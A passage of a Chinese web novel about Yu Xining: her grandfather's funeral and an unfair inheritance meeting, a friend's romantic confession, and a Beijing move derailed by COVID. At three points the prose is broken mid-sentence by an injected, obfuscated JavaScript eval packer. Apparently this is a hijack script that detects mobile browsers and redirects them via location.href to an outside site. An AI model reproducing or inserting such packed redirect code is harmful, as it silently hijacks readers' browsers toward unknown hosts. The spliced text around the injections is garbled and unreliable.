“亲朋好友可以进来作道别了,大女婿记得登记好礼仪帛金,该给的回礼不能忘。” 余序洲应声上前,坐在门口的圆桌旁,隔壁还有一张桌子专门放着茶水和香烟,还有煮好的八宝粥。 每位前来道别的客人都要吃一小碗八宝粥再走,寓意事成圆满。 这晚陈敬涛和陈敬禹负责守灵,陈慧柔和陈慧琪姐妹俩也留在那,陈时宜跟着余希柠回家睡觉。 次日一早出山,起柩前余希柠被赶至偏房,说是必须背对着,不能冲了棺材。她不懂其中缘由但还是照做,屋里人放声大哭,喊着,余希柠默默闭上眼,咬紧唇。 哭丧的队伍要沿着巷子走到大桥边,然后在路口上车往山里去。按照风俗,女眷是跟到桥头就返回,跪拜作送别。 余希柠依旧是站在队伍的最后排,因为她是外孙女。 短短不过五百米的路,陈慧柔的哭喊声变得沙哑,哀恸之情让余希柠紧咬着唇瓣都避免不了眼泪往下掉。 当晚,陈家开了个小会谈遗产分配,是陈敬涛主持的。 余希柠几个年轻人搬着小凳子坐在靠墙位置,上座都是大人。她第一次参加这样的会议,有些话听着听着就变味了。 陈镇东生前有两套房子,一是后街巷的老屋,二是现在住的这间,生病前他把房子过户给了陈敬涛,现在房本上写的是陈敬涛的名字。 这落地厝严格来说,是两栋楼房并在一起,按照陈镇东遗嘱上写,是兄弟均分,但陈敬涛没有提出来。 余希柠之所以知道有遗嘱的存在,是因为陈慧柔跟余序洲说的时候,她不小心听见的。 陈镇东生病这些年,陈慧柔没少跑前跑后帮忙照顾,若真要论起来,她是嫁出去的女儿,在潮汕本可以不用如此付出,不过是孝顺罢了。 遗书写好后,陈镇东给陈慧柔看过,还问她要不要后街巷的老屋,陈慧柔拒绝了,她做这么多,并不是为了想得到什么。 “我生病的这些年,身边只有你尽心尽力,其他人是什么心思,我一眼就看穿了。” “阿爸留下来的钱,大头我按三份均分,我一份,敬禹一份,长孙当尾仔,梓航一份。慧柔和慧琪是女儿且嫁出去了,就各自拿一万。剩下三个女孩各一千,大家有意见吗?” 剩下三个女孩指的是陈梓钰、余希柠和陈时宜。 陈敬涛家可谓是这次遗产分配里的最大赢家,心思再明显不过,从头到尾余希柠都没见他把那份遗书拿出来,全是口头传达。 “没意见,时间不早了,余姗,时宜,我们回家。” 陈敬禹抚了下裤腿站起身,大有一种掀桌离开的架势。 王君假模假式地上前挽留:“都这么晚了,在家里睡一晚再走吧?” “不麻烦了。” 陈敬禹前脚离开,余序洲这边也扶着陈慧柔起身,面上虽没说什么但心里也是很不舒服。 “我们也先回去了,慧柔这段时间来回跑,很久没好好休息了,再这样下去人得垮。” 这句话他是对着陈敬涛说的,人在做天在看,良心不会不安就行。 余希柠拿起包,跟在父母身 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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毕业后通过校招进了一家排名靠前的外企,工作能力不错,受领导重视,接连做了几个重点项目。整个人看上去精神面貌十分富足,最主要的是,与客户谈判竞标积累下来的个人气场,在当副校长的陈敬涛面前分毫不逊。 她经常被同事说像笑面虎,面上笑嘻嘻,但说的都是狠话。 “陈梓航毕业前您关心过他的成绩,问过他对未来的打算吗?他不跟您沟通,不说实话是不是有原因?” 陈敬涛:“我既要忙工作,又要忙着照顾阿公,我哪有那么多时间管他的事情,都成年了,再说有你们两个姐姐关照着,我自然是很放心。” 余希柠听笑了:“姐是姐,又不是妈,再说了我们管自己都来不及,怎么去管个成年男人。” 陈敬涛没想到平日里待人有礼、性格温顺的余希柠今日说话会这么难听,句句都是针尖对麦芒。 “你这像是对长辈说话的态度吗?” “我只是在陈述事实而已,您说您忙工作忙着照顾阿公,可据我所知,您当时正忙着评职称、应酬和做采访。就连帮阿公擦身这样的事,您都交给我妈来做,大舅,您觉得合适吗?” 陈敬涛的脸色难看到极致,他说不出狠话,就变相示弱:“我最近整宿整宿都睡不着,一直在反思自己之前哪里做得不够多、不够好,我压力也很大的。” 做都做了,反思给谁看? 余希柠差点脱口而出,碰巧大门传来钥匙插入转动的声音,估计是陈梓航回来了,她打从心里松了口气,是不想演也不想说了。 “你们聊,我先进屋加班了。” 以不合适的身份对着陈敬涛阴阳怪气说了一通话后,余希柠躲在房间里剪片,两耳不闻窗外事,也懒得去计较这番话说得合不合规矩,权当替陈慧柔出口气。 第二天早上,陈敬涛搭最早一班高铁回家,余希柠出房门时他已经走了。听说和陈梓航聊了一整晚,客厅烟灰缸都堆满了烟头。 46. 表白 日子照常过,余希柠和陈梓钰、陈梓航的相处一如往日那般,好像外公的事情并没有对他们表姐弟之间产生任何影响。那晚陈敬涛和余希柠的谈话,陈家姐弟似乎也不知道。 陈梓钰到了七大姑八大姨都着急张罗的年纪,得知张城分手后还没有谈新的对象,两家长辈又再度撮合。 陈梓航用之前攒的钱,还有家里的部分投资支持,自己出来单干做电商,大部分时间都在家里办公,偶尔去朋友那对接选品。 余希柠接连做了两个S级项目,成绩有了,人的状态却直线下滑。相比于同事的高能量,下班之余还能去健身、唱K、喝酒、玩桌游,她根本提不起任何力气。 因为对接、沟通、竞争这三样花去了她太多精力,重复的繁冗流程下来,打消的是余希柠对这份工作的兴趣。 说到底,她还是想去北京发展,做文娱。她觉得自己做拍摄、剪片子的时候是最快乐的。 前年,Vlog在国内盛行,起初是一位明星发的日常视频,很快就突破小众圈层。余希柠在B站上注册了一个账号,尝试剪了几次职场Vlog,收获不少点赞和评论。 后来怕影响本职工作,她就把更新内容替换成自己平日里剪的一些片子,有旅游vlog,也有一些影视混剪。 余希柠做剪辑UP,完全是偶然,起初是因为看了一本古代权谋小说,觉得作者写得很有画面感,如果能拍成电视剧就好了。但卖版权是玄学,等卖出到拍摄再到播出,她恐怕已经忘了这个故事写了什么。 所以,她萌生了自己剪片,给自己喂饭的念头。 找了心目中觉得跟人设很符合的演员角色进行二次创作,剪一集十分钟,要花费她两星期的时间。起初不过是圈地自萌,结果发到网上引来了很多网友自发转载,评论,和对剧情视频剪辑的关注。 自此之后,余希柠打开了一个新的赛道,有空的时候就做剧情二创,没时间写剧本、找配乐、台词录音,就剪一些影视剧人设宣传片。 作品不仅吸引了不少粉丝,还有一些圈内同样热爱剪辑的UP主,余希柠在二次元圈子也有了朋友。 去年七月,国内有一部古装宅斗剧上线,宣传方找到余希柠希望能够合作一些二创剪辑作品用于播出期间的平台宣发。 这是余希柠第一次接商务,非常忐忑跟紧张,好在片子质量确实很高,加上角色鲜明突出,她几乎很快就想到脚本思路和对应的背景乐。 方案提交甲方后很快通过,最终成片在B站上线不到二十四小时就破了二十万,冲上了热榜。 宣传方解释,他们并没有为余希柠的视频投起飞刷数据,单纯是因为她片子剪辑质量高,对剧情的把控还有人物的镜头选取、素材片段、背景音乐都用得恰到好处。 “你不做这一行真是可惜了,很多剪辑师对镜头都没你这么敏感。” 甲方的一句话,动摇了余希柠的心。 腊月农历十六,许于薇和丈夫在饶平举办婚礼,她成了这帮朋友里最早结婚的,看上去非常幸福。 高中时的好朋友全员到齐,包括远在北京的林烜。婚礼上高中同学坐一桌,余希柠和宋乔、林烜坐一起。 宋乔:“烜哥在北京过得很滋润吧?乐不思蜀。” 林烜肉眼可见变帅了,进门和新郎新娘合照时就有不少人在议论他,保不齐待会就有人来加微信。 婚宴吃桌最容易有好事发生。 “那也没你生活安逸,下午四点半准时下班,谁家好人能这么早。” 林烜举起酒杯和老朋友碰了碰,望向余希柠:“你什么情况?说要来北京,结果转头就去了广州,放我鸽子?” “我爸妈没你爸妈那么开明,不过我最近正在考虑离职换工作。” 正好林烜在,余希柠问了些跟北京有关的问题,例如文娱行业这块薪资大概能有多少,租房贵不贵,空气质量好不好,生活到底能不能适应…… 林烜回忆了一下:“这些问题你好像之前也问过我,我满心欢喜回答完,甚至都要帮你看房了,你不来。我记仇。” 宋乔在旁边听着都忍不住笑出声来:“你现在看着就很像怨妇,被抛弃的那种。” 林烜瞥了余希柠一眼,晃了晃手里的酒杯:“可不就是被她给抛弃的。” 这话,不知怎的,余希柠听出了别的感觉,又或者是酒意上头,有了错觉。她莫名看了林烜一眼,视线对上的那一瞬间,仓皇躲开。 宴席结束,各回各家,余希柠一手拿着回礼,一手掏出手机准备给余序洲打电话。 “还有第二场呢,你们去不去?我在凯乐迪包了三个包厢。” 许于薇出来招呼。 余希柠摆摆手:“不了不了,我也不会唱歌。” “那你直接回去?” “对,我让我爸来接我。” “余希柠,我送你回。”林烜拦住她打电话的动作,拿出车钥匙:“我开摩托来的,能送你。” “喝酒还开车?” 这话是宋乔说的,她看林烜样子虽说不像喝醉,但脸都红了。 “开摩托不是开小车,我可以。” 林烜望着余希柠,冷静道:“我送你回去,有话跟你说。” 许于薇看了眼宋乔,彼此心知肚明,顿时也没有再说话,默契地转过头去,等那两人商量好。 余希柠愣了下:“那行,我给我爸发个信息,说不用来了。” 林烜给余希柠递了个黑色头盔,长腿跨过摩托,单腿撑地微微往她这边倾靠,好方便上车。 “这头盔压我头发,不戴不行吗?” 余希柠试着戴了一下,还是觉得太紧。 林烜:“晚上风大,你又喝了酒。” 余希柠开玩笑道:“那我把卫衣帽子戴起就好了,也能防风。” 她穿了件连帽卫衣,正好有帽子。林烜接过被放弃的头盔,带子穿过扶手挂上。 “我上车啦。” “嗯。” 余希柠扶着他的肩膀跃上,待坐稳了才跟许于薇夫妇招手:“走了,新婚快乐啊!” “谢谢,路上开慢点。” “好。” 车轮卷起尾尘驶离,许于薇释然地笑了笑。 丈夫搂着她的肩膀,随口问了句:“你这两位朋友,好像恋人未满,友达以上?” “是,就是不知道林烜打算什么时候表白,是不是今晚。” 许于薇依偎在丈夫怀里,唇角微抿。 余希柠第一次坐这种赛车型的摩托,手攥得紧紧的,感觉手心都快出汗了。红绿灯口停下,林烜偏过头。 “你手扶着我肩或者搭我腰上都行,别甩出去了。” “啊?你别开太快就行了,我攥着后面这个把呢。” 林烜低头看了眼,笑:“你别把我装饰架给拽断了,要你陪。” “不至于吧,我感觉挺牢固的啊。” 嘴上虽这么说,但她还是乖乖松手搭上林烜的肩。 后视镜里的小角落正好映着林烜缓缓上扬的唇,看上去心情很好的样子。 “绿灯了,走走走。” 过了这条大道再往右开一公里左右就到家了,林烜忽然放慢车速:“余希柠。” “怎么了?” “你问我关于北京的情况,是打算来了吗?” 余希柠俯低身靠近他,感觉再有个陡坡,她下巴就得搁在林烜肩膀上了。 “想去,但还没想好怎么说服我爸妈,没有太大的把握,毕竟之前都失败了。” “如果你跟他们说,有我陪着你呢?” 林烜说这话时,旁边刚好有辆卡车经过,集装箱轰隆隆的卷起一大片尘,余希柠扭头躲过,没听清。 “你刚说什么?” 前面就到教师村门口了,对面刚好开了一家咖啡厅,林烜想都没想就把车停在了咖啡店门口。 “我刚说的是,如果你跟他们说,北京有我陪着你,他们会不会就同意了。” 他摘下头盔,扭头看余希柠,乱糟糟的头发随手拨弄了一下,仍有几缕发丝挡住了他的视线。 “啊这个借口,我两年前就用过了,当时就没奏效。” 余希柠扶着林烜的肩膀下车,拍了拍裤腿,随意道:“当时他们还以为我们俩谈恋爱呢,以为我想去北京是因为你。” “如果不当借口呢。” 余希柠站着,仍旧比坐在摩托车上的林烜要矮一些,她一手扶着车把,好奇地看着林烜,揣摩着他这句话里的意思。 “不当借口……” “余希柠,我喜欢你,跟我在一起好不好?” 咖啡店有人推门出来,门上的铃铛叮咚作响,门口的小情侣挽着手有说有笑。路边不时有车经过,卷起的风似乎从背后推了推余希柠,她认认真真地看着林烜,猜了一路的想法终于得到印证。 她不傻,虽然没谈过恋爱但起码知道喜欢一个人的眼神是什么样的。 林烜今天看她的表情就很不对劲。 口袋里的手机震了几下,不用看就知道一定是宋乔发来的消息,方才在路上余希柠就已经收到一条。宋乔和她想的一样,也觉得林烜是要跟她表白。 “我们不是最好的朋友吗?” 这些年余希柠一直默认林烜是她最好的异性朋友,是除了宋乔、许于薇以外最能交心的一个人。 她不是没有感觉到林烜对自己的不同,但他又似乎把这个度把握得非常好,一点都不暧昧,也不让人觉得尴尬紧迫,导致余希柠认为,好朋友就该是这个样子的。 “早在两年前就不想跟你只当朋友了,在你说想来北京工作的时候,我甚至预想过我们之间的未来。” 林烜平日里总给人一种吊儿郎当的感觉,如今说这些话倒难得正经严肃起来,连带着余希柠都被感染到,不敢开半点玩笑。 “我没想过。” 余希柠抿着唇,搭在摩托车把手上的手指微微攥紧:“因为你在北京发展,所以我从没想过这个问题,我们之间一年到头就见两三次。林烜,我这人谈不了异地恋,虽然没谈过,但我了解我自己。” “所以你可以跟你爸妈说,你想去北京发展,因为要跟我在一起。” “不,如果我要去北京,一定是因为那里有我热爱的工作,有吸引我的人文和生活气息。我不能利用你,这对你来说也不公平。” “如果我愿意被利用呢?” 林烜看着余希柠,见她因为喝了酒,吹了风,脸颊和鼻尖都红红的,又戴着帽子,缝隙露出几缕发丝,模样可爱。 “如果你能顺利到北京,我也算帮了你一个大忙,欠我这么多人情你总归是要经常请我吃饭的吧?” 林烜抬手,修长的手指三两下勾起余希柠卫衣帽绳,稍稍用力一拉。 “哎你干什么。” 余 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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始终没能有一个肯定答复。 洗完澡回房,余希柠给宋乔拨语音,对面的人像早就料到她会来找自己一样,几乎秒接。 “怎么让我等这么久啊?差点就要睡着了。” “刚洗澡去了,不得自己先想清楚。” 余希柠把自己卷进被子里,手机开免提放到枕头边上,这样就不用一直伸着手拿,懒人自有懒人的办法。 “你是不是没答应?” “你知道?他跟你聊了?” “那倒没有,我只是猜的,感觉你心思好像不在他身上,不然两人也不会这么多年还只是好朋友了。” 宋乔到底是闺蜜,说话还是直接且能说到余希柠心坎上。 “我就一直把他当兄弟,没想过是男女朋友,但他那句话还挺吸引我的,就是如果我想去北京发展,他甘愿当我的借口。” 北京对余希柠的诱惑实在太大了,她懊恼道:“我觉得我像个坏人,自私又虚伪。” “你是,哈哈哈哈哈。”宋乔不留情面地笑话余希柠:“他林烜好歹也是个高帅学霸吧?工作也不错,对你痴心一片你怎么就看不上呢?不会还惦记着林屿沉吧?” 余希柠从没说过自己喜欢林屿沉,却在宋乔说出这句话时有种让人戳穿心思的感觉。 “你别乱说,我跟林屿沉都多少年没见面了,还没跟林烜熟,我怎么可能喜欢他。” “但你不觉得你的理想型标准,每个都是他吗?你喜欢学霸,慕强,不是吗?” 余希柠先是愣了下,很快反应过来:“慕强没错吧?可以激发自己的好胜心,从某种程度上他也能给到我建议或者参考,总比没法交流沟通要好。” “林烜也不差,如果他知道自己其实是输给个假想敌,估计气得大半夜开摩托环城吹风。” 余希柠不解:“假想敌?” “林屿沉啊,现在说喜欢你的人是林烜,不是林屿沉,你拿这俩比较,不就是假想敌?”宋乔话虽难听,但胜在直白易懂:“你面前只有一个追求者,不是两个。” 余希柠的心咯噔一下,有点难受:“宋乔,让你分析没让你说大实话。” “看你自己怎么选吧,是想选喜欢你的,还是自己喜欢的,可如果你没想过去北京发展,压根不用选。” 宋乔的话多少动摇了余希柠。 结束通话,朋友圈有了新动态,许于薇发了今天婚宴图还有一些合照,其中有两张都是他们四个人。 余希柠保存下来,发了个朋友圈,把提前编辑好的文案附上——从校服陪伴到婚纱,祝好朋友新婚快乐。 没过多久,林屿沉点赞了这条朋友圈。 余希柠一下弹坐起身,怎么回事,尸体复活了?这人的号动了! 点开对方头像,确实是林屿沉的号,不是同名同姓,余希柠抿紧唇,只可惜他是点赞没有评论,不然还能稍微互动下。 例如问他回国了没? 现在在哪工作? 还没等余希柠想明白,林烜也点赞了这条朋友圈,宿命般似的两个头像挨在一块,余希柠一下就想起宋乔说的那句话—— 你面前只有一个追求者,不是两个。 47. 分开 参加完婚宴,余希柠赶回广州上班,同步更新简历和查看工作岗位。当软件求职地址切换成北京后,机会确实多了很多,她收藏了几个后,把想去北京的事情说给陈梓钰听。 陈梓钰感慨道:“这样的聊天内容好像似曾相识。” 余希柠抱着小熊公仔盘腿坐在陈梓钰的床上:“我就是不去一次,不甘心,说实话,好几次在挤地铁的时候我都在想,现在这份工作到底是不是我喜欢的,我还能做多久。” 陈梓钰:“两年前我爸还特地找过我,说让我劝你打消去北京的念头,当时我还反驳了他,说这是你的人生,我们作为外人不要去干涉。结果没多久你就说,要来广州,我发誓,我当时就已经站在你这边了。” “哎呀那你能不能再站我一次?”余希柠倒在陈梓钰的腿上,把自己全部计划都说给她听:“我计算了一下北京的房租、生活成本,我这两年工作攒下来的钱应该可以负担个一年半载。北京的文娱要比广州成熟,我权当过去积累经验了,以后回来也能跳个高一点的平台。” “要回来?” “当然,又买不起北京的房,而且爸妈都在这,我总归是要回来的。” 陈梓钰捏了捏余希柠的脸,开玩笑道:“要以后能找个京A的嫁了,也可以不用回。” “不敢想不敢想。” 陈梓钰认真道:“其实就像你说的,这两年工作已经攒下来了一些本钱,可以负担你去北京的费用,而且只是过去刷一下简历经验,之后还会回来,那我觉得是可聊的。大姑不至于油盐不进到这种地步吧?一开始不同意,可能考虑到你刚毕业,初入社会还没有经验,承受不了打击或者压力。现在不同了,你不算职场新人了,也能独当一面,试试呗。” 余希柠抬起下巴,灵动地眨了眨眼:“试试?” “嗯嗯。” “如果他们同意的话,我打算年前就辞职,正好有时间带他们出去旅游,散散心。过完年就去北京找新工作。” 陈梓钰有些担忧:“不先找到工作再离职吗?” “我想过了,北京那边未必会同意我Gap一段时间再入职,基本上都是通过后,一周之内上班,那样的话我就没法儿带爸妈去旅游了。” 想带余序洲和陈慧柔去旅游,是余希柠早就有的计划,特别是陈慧柔退休后,这个念头更甚。 她希望每年都能带父母出去玩一次,见见世面,打卡一些不一样的风景。 陈梓钰说,给他们俩报个旅行团不就得了,省力省心省时间。余希柠摇头,她太了解陈慧柔了,让他俩报团,陈慧柔肯定不答应,觉得就是在浪费钱,他们也没有出去玩的需求。 可如果说是陪着女儿,一家三口出去,那陈慧柔就会动摇。 “我觉得你想法已经挺成熟的了,再说了,你还年轻,我是很支持你出去闯的。”陈梓钰心有所感,背靠着床头:“我一直很羡慕你这种说干就干的风格。想做就去做,不计较得失。” “当初没去成日本,你后悔吗?” 很多时候人都是怕旧事重提,因为会心生不甘和怨怼,余希柠就一直避开这件事不谈,直到今天重聊关于选择的话题,她好奇陈梓钰如果再来一次,还会不会选择申请。 “机会都已经过去了还怎么后悔,只能说明这原本就不属于我。但不可否认,工作上遇到不满跟瓶颈时,我还是会想,如果当初去了日本,回来后我会不会发展就不一样了。” 陈梓钰笑了笑:“人都是这样的,遇到不顺的时候就会下意识给自己找借口,找个安全区躲着。” 这夜聊完,更加坚定了余希柠心中的想法,同时,她也回复了林烜的表白。 “很抱歉,我当你是我最好的朋友。” 林烜迟了好几小时才回复这条信息—— “我刚下班,走去地铁的路都差点走错了。余希柠,你可真狠心,上学时求你帮我写一下英语作文,被你拒绝后的丢人也不过如此。” 余希柠坦诚道:“我想象过我们在一起后会是什么样,但我怕的是,最后连朋友都没得做。” “那借口还当吗?” 林烜发了个可怜兮兮的表情。 那一瞬间余希柠就懂了,他们还是好朋友—— “当!” 林烜:“行,那就在京恭候您大驾了。” 余希柠请了一天年假,和着周六日凑成三天小假坐高铁回家,见她突然回来,陈慧柔吓了一跳,生怕是出了什么事情。 “爸、妈,有件事我想跟你们坐下来商量一下。” 余家很久没有开这种家庭小会议了,陈慧柔表情里写满了紧张跟不安,嘴角抿得紧紧,一颗心跳得飞快。 “我提离职了,下周开始交接工作,我想年后去北京发展。” “怎么又是北京啊……”余序洲忍不住叹道,一脸的郁闷。 陈慧柔却像想起了什么似的,拍了下余序洲:“你别打断女儿,让她说。” 余希柠把之前和陈梓钰说的那些话重复了一遍,本以为会像两年前一样被果断拒绝,结果陈慧柔只是问—— “你到了北京,住哪?是有认识的朋友在做这一行,要介绍工作给你?” “租到合适的房子前,我先住在朋友那,至于工作我想好了等年后再投,朋友也会帮我留意。” 余序洲:“你现在这份工作就挺好的,体面,薪水也高,上班通勤时间也不长,福利又好,说辞就辞,下次就很难再找到这么好的工作了。” “爸,跳槽这在大城市里很常见的,人都想往高处跳,这样薪水才涨得快。外企要晋级非常难且耗时也长,我虽然才工作两年,但感觉已经能预知到未来也是这样的工作状态,我不喜欢。” “你做事就没有从一而终过,都是做一半就放弃,然后拿不喜欢来当说辞,你就说,你有喜欢过哪件事是一直坚持的?” 余序洲就是不看好余希柠这个半途而废的态度,上学时是,练钢琴时是,如今上班也是。 “先别吵,我们是在商量事情,你现在已经提离职了?那就是覆水难收了?” 陈慧柔想了解清楚目前的情况,看向余序洲,见他面色难看,就假模假样地训了余希柠:“你这种先斩后奏的做法是不对的,我要先批评你。爸妈不是不开明的人,你有什么想法可以说出来,商量完了再做决定也不迟啊。” 余希柠急得眼泪都要出来了:“我不是怕你们还跟两年前一样说不通嘛!” “这事容我跟你爸商量一下,你先回屋。” 等余希柠把房门关上,陈慧柔转向余序洲,压低了声:“我猜一定是跟林烜有关,国庆林烜回来后,我不是碰见他俩在小区门口吗?” “你后来问了?” “我没问,怕她不老实回答,但我看了她朋友圈那张照片,觉得这俩孩子挺般配的。”陈慧柔仔细回忆余希柠刚才说的话:“她说了北京有朋友,我猜就是林烜。” 余序洲觉得不靠谱,摇摇头:“你都没问过,自己就在这里猜,万一不是呢!” “但现在她已经提离职了,笃定不回头我们能怎么办,还像两年前一样闹得不开心?” 陈慧柔叹气:“这几年我总觉得希柠跟我不亲了,很多事也不和我说,我就在猜,她是不是怪我当初不让她去北京发展。你看,她今天又提了这个事情,摆明就没放下过。” 余序洲既头疼又觉得无计可施:“真答应她?” “不然呢,以后等着被她埋怨吗?我是承担不起这个责任。” 余序洲看穿了陈慧柔的表情:“你就是觉得她是因为谈恋爱才要去的北京,你才松口,我没说错吧?” 陈慧柔抿唇笑:“要不你找机会试试她?万一她肯跟你说实话呢?” 余希柠没想到,林烜真成了她要去北京的关键一环,眼看着就差临门一脚,她咬咬牙果断认下了这个“借口”。 陈慧柔和余序洲终于同意了,余希柠兴奋得好几夜都没睡着,梦里都是去北京后的生活。 回广州后,余希柠一边交接工作,一边落实旅游安排,机酒包括攻略都是她一个人做。 还有就是租房,当初租的三室一厅,如今她要去北京,就意味着另一间房得重新找个人来租,或者干脆退租,陈梓钰姐弟俩重新找个两室一厅的。 陈梓航住习惯了这里,不想搬,打算找朋友过来补空位,陈梓钰没什么意见。 年底,余希柠正式离职,和同事吃了顿散伙饭还收到了很多小礼物,纷纷约定下次有机会去北京了再见面。 离开广州前,余希柠和许于薇夫妇见证了陈遇向宋乔求婚,一帮朋友在琶醍度过了一个非常浪漫且难忘的夜晚。 宋乔和许于薇纷纷不舍余希柠,但她们知道天底下没有不散的宴席,每个人都有追逐理想的权利。 余希柠做好断舍离,从租处寄回去两大袋衣服和杂物,然后推着两个行李箱回了饶平,打算休息几天,然后带父母去华东玩。 彼时,在武汉,上报发现了第一例新冠肺炎病例。 疫情来了,所有人的生活轨迹都发生了变化。 1月23日,武汉因新冠疫情“封城”。 居家隔离,娱乐、体育场所关闭,防疫消杀,学校开学推迟……当每天新闻报道的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15148665|163237||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 数字在不断攀升成倍加剧,当新冠成为了与这个世界息息相关的话题,所有人都意识到,这一年真的完全不一样了。 包括余希柠在内。 北上计划被彻底搁置,事态摆在面前,余希柠不得不暂缓脚步。陈慧柔每天都关注着北京的情况,劝余希柠再考虑考虑,眼下如果非要去北京,做父母的会很担心。 林烜那边也传来了不太明朗的消息,他所住的小区被隔离了。 整整四个月,大家生活的步伐都被迫放慢,每天微信里的聊天内容几乎都是围绕着疫情话题。 林烜劝说余希柠,暂时不要来北京。 4月8日,武汉解封,5月,在家待业了小半年的余希柠无奈返回广州重新找工作。 六月,陈梓钰结婚了,对象还是张城。 兜兜转转还是这个男人,余希柠不知道该说什么,只表示永远是陈梓钰的后盾,只要受欺负,不论何时何地,她都会挺身而出。 陈梓钰贴着余希柠的脸,开玩笑道,以后不能当你的挡箭牌了。 “小时一起打闹,你陪我骑自行车去公园兜风,长大了住在一起,你接纳我所有不好消极的情绪和心事,今天你嫁人了,祝你幸福,全宇宙最漂亮的新娘。” 余希柠喝了不少酒,醉了还不忘给陈梓钰送祝福,回到家后又因为没抢到和自己世界第一好表姐的捧花而哭得稀里哗啦。 陈慧柔说她还像小孩,只有她自己知道,以后再没有个姐可以站在她身边,护着她关心她了。 婚后,陈梓钰搬了出去,房东涨价,三室一厅涨到了五千块。余希柠原本想跟陈梓航商量另外找个两室一厅的房子,但陈梓航嫌麻烦,找来了一块做生意的发小顶替空位,依旧是三人整租。 疫情爆发后,宅经济盛行,线上购物需求天然增长。全球消费模式与零售格局正在加速变革,线上消费逐渐成为主流。 陈梓航踩中了电商的封口,精准嗅到了直播自播模式,在原有底盘的基础上增加了直播带货,和品牌建立合作关系,生意越做越大。在创意园区租了一间办公室,不到九十个方,结合了办公区、直播区和选品区。 余希柠偶尔会给他拍摄产品图和宣传视频,公司业务虽然没有头部主播那么成熟,但也逐渐做出了一点规模。 “我打算今年回去看一下饶平电商发展的情况,在那起两个号试试水。” 国家政策对农村电商发展的措施越来越明确,目标也越来越清晰,政府相对应的也有利好政策。 陈梓航年前托朋友打听过,镇上做电商这一块的并不多,发展也很缓慢,这时候入场兴许是好时机。 余希柠担忧道:“可现在疫情阶段,很多企业都倒闭了,情况并不明朗,你再创业能起得来吗?” “我在广州这些年已经把这链条都打通了,复制现在的模式并不难,包括选品我也想好了,宝斗饼、海山紫菜、单丛茶叶这些都可以做。就是促进农产品产销,打通线上线下营销通道,你可能不清楚,潮汕农产品在国外,特别是东南亚那边,非常受欢迎。” 陈梓钰结婚后,很多事情陈梓航都会跟余希柠沟通商量,有时候是说给她听,有时候是听取她的意见。毕竟一开始那么艰难时,余希柠是为数不多支持他走这条路的。 中间在拍摄这一块,她也帮了不少忙,很多图和视频质量都比市面上竞品商做得要好,用陈梓航发小的话说,就是像不花一分钱,多招了个剪辑师一样。 “感觉发展农村电商是未来趋势,也是数字乡村发展的工作要点,关键是能不能做起来,我觉得饶平就是个节奏很慢的小县城,在大城市竞争很激烈,短期就能看到效果趋势的,在饶平反应期会很长。” 余希柠对电商发展这块并不敏感,担心自己的话会影响陈梓航的判断,建议他去问专业人士。 “等我回饶平看看情况,踩点后再继续下一步。” 余希柠问道:“那广州这边你怎么打算?” “广州这边我和阿浪商量了,转做跨境,但这赛道有点难,也不知道能不能做成。光现在的体量是有点费劲的,所以如果家里那边能做,我自己会把重心往回移。” 话听到这里,余希柠已经闻到了离别的味道,自从陈梓钰结婚后,她就有了实感。 曾经姐弟仨朝夕相处像家一样的感觉,随着恋爱、结婚,各自有了新的伴侣和家庭后,注意力都会转移到小家上。再不会像从前一样,一有什么事情就凑在一起商量,动不动就出去聚餐或者在家里搞氛围派对。 余希柠知道,总有一天,她和陈梓航也会分开,或许是因为工作,或许是因为谈对象。 48. 变化 2022年夏天,陈梓航离开广州成为返乡青年中一员,在政策支持下发展农村电商,和几个村的茶叶、水果、食品等进行产业合作,规模不小。 余希柠一个人租了个一室一厅的房子,上班、健身、剪片,和朋友聚会,小日子过得也还行。 陈梓钰结婚后,她就成了这一辈里年级最大的,没结婚没对象,亲戚七大姑八大姨帮忙介绍了好几个,余希柠没一个看得上。 主要是一个人的日子过上瘾了,实在不知道谈恋爱有什么好的,万一谈到个糟心的还影响心情。 酒吧里音乐鼓点震耳欲聋,余希柠捏着高脚杯的杯柄在桌面上来回摩擦,酒漾起一圈圈波澜,灯光折射下映出好看的光。 “林烜朋友圈看了吗?官宣女朋友了。” 许于薇刚坐完月子,迫不及待约闺蜜们出来玩,还把地点定在了酒吧,说是自己不能喝,但能闻闻味。余希柠和宋乔拿她没办法,选了个无烟区的角落,照顾着宝妈。 “看到了啊,我还点了个赞。” 余希柠表情很平静,根本看不清楚情绪。 许于薇一脸的可惜:“都怪疫情,不然这会儿官宣的女主应该是你吧。” “这话可不兴说,人家都要订婚了,而且当初我们俩也没在一起。” 余希柠都不知道自己要解释多少次,偏偏许于薇就是觉得他俩只是差时间跟距离,日久定能生情。 “对啊,都过去了,没成说明不是她的缘分。”宋乔帮着余希柠说话,与她碰了碰杯:“最近怎么样,你爸妈还催你吗?” “催啊,怎么不催,过年的时候我觉得每个人见到我,都要问一句有好消息了没,说吉祥话也要带上一句找对象。” 余希柠挥了挥手,托着腮帮子道:“就像上学的时候问考试成绩一样,最后带上一句,祝你考上理想大学。” 许于薇插了一嘴:“上次约你,你说你在相亲,怎么样?我跟我家那位说了,有好资源记得想着你,结果我听他说了几个,都不怎么样,我这关就过不去。” 